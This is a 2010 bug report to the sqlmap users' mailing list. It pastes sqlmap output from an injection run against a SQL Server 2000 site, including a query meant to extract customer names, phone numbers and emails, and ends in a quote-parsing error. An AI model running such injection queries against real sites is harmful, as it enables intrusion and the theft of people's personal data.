[sqlmap-users] sqlmap bug
Brought to you by:
inquisb
From: <ja...@ev...> - 2010-05-18 23:47:55
|
[19:10:35] [INFO] resuming back-end DBMS 'microsoft sql server 2000' from session file [19:10:35] [INFO] resuming union comment '--' from session file [19:10:35] [INFO] resuming union count 3 from session file [19:10:35] [INFO] testing connection to the target url [19:10:36] [INFO] testing for parenthesis on injectable parameter [19:10:36] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows web application technology: ASP.NET, Microsoft IIS 6.0 back-end DBMS: Microsoft SQL Server 2000 do you want to retrieve the SQL statement output? [Y/n] y [19:10:38] [INFO] fetching SQL query output: ''SELECT OptIn,FirstName,LastName,HomePhone,Zip,Email,DateCreated FROM Customer WHERE DateCreated LIKE '%2009%'' [19:10:38] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind can the SQL query provided return multiple entries? [Y/n] y [19:10:39] [INFO] retrieving the length of query output [19:10:39] [ERROR] Unenclosed ' in 'LTRIM(STR(LEN(COUNT('SELECT OptIn))))' [*] shutting down at: 19:10:39 sqlmap/0.9-dev -- latest svn also, does --threads work when executing a --sql-query or anything in a --sql-shell? thx |